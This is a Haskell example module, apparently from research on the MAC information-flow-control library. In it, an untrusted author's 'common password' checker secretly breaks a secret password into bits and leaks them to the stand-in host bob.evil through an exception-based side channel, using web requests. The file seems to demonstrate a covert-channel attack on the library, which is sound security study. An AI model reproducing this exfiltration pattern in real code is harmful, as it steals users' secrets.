{-# LANGUAGE Safe #-}
{-# LANGUAGE ScopedTypeVariables #-}
{-# LANGUAGE FlexibleContexts #-}
module Examples.Bob3 where

import Data.Maybe
import Data.List

import MAC.MAC
import MAC.Lattice
import MAC.Labeled
import MAC.Control
import Control.Monad

import MAC.Exception
import Control.Exception

import Examples.MACWget
import Data.List.Split

import Data.Bits
import Data.Char


-- Bob's code
common_pass :: Labeled H String -> MAC L (Labeled H Bool)
common_pass lpass = do
  attack lpass
  str <- wgetMAC "http://www.openwall.com/passwords/wordlists/password-2011.lst"
  let lines = filter (not.null) (linesBy (=='\n') str)
  let words = filter ( not . (=='#') . head ) lines
  joinMAC $ do
     pass <- unlabel lpass
     return $ isJust $ find (== pass) words


charToByte :: Labeled H Char -> MAC L [Labeled H Bool]
charToByte lchar = do
  forM [0..8] g
       where g n = joinMAC $ do fix (labelOf lchar)
                                char <- unlabel lchar
                                return $ testBit (digitToInt char) n

toChars :: Labeled H String -> MAC L [Labeled H Char]
toChars lstr = do
  forM [0..39] g
       where g n = joinMAC $ do
                               fix (labelOf lstr)
                               str <- unlabel lstr
                               return $ if (n >= length str) then (chr 0)
                                        else str !! n

attack :: Labeled H String -> MAC L ()
attack lpass = toChars lpass >>= mapM charToByte >>= mapM leakByte
               >> return ()


leakByte :: [Labeled H Bool] -> MAC L ()
leakByte lbools = forM (zip lbools [0..7]) (uncurry leakBit) >> return ()

leakBit :: Labeled H Bool -> Int -> MAC L ()
leakBit lbool n = do
  wgetMAC $ "http://bob.evil/bit=" ++ show n
  catchMAC (crashOnTrue lbool)
           (\(e :: SomeException) -> wgetMAC "http://bob.evil/set=1" >> return ())

crashOnTrue :: Labeled H Bool -> MAC L ()
crashOnTrue lbool = do
  joinMAC $ do fix (labelOf lbool)
               bool <- unlabel lbool
               when (bool == True) $ error "crash!"
  wgetMAC $ "http://bob.evil/set=0"
  return ()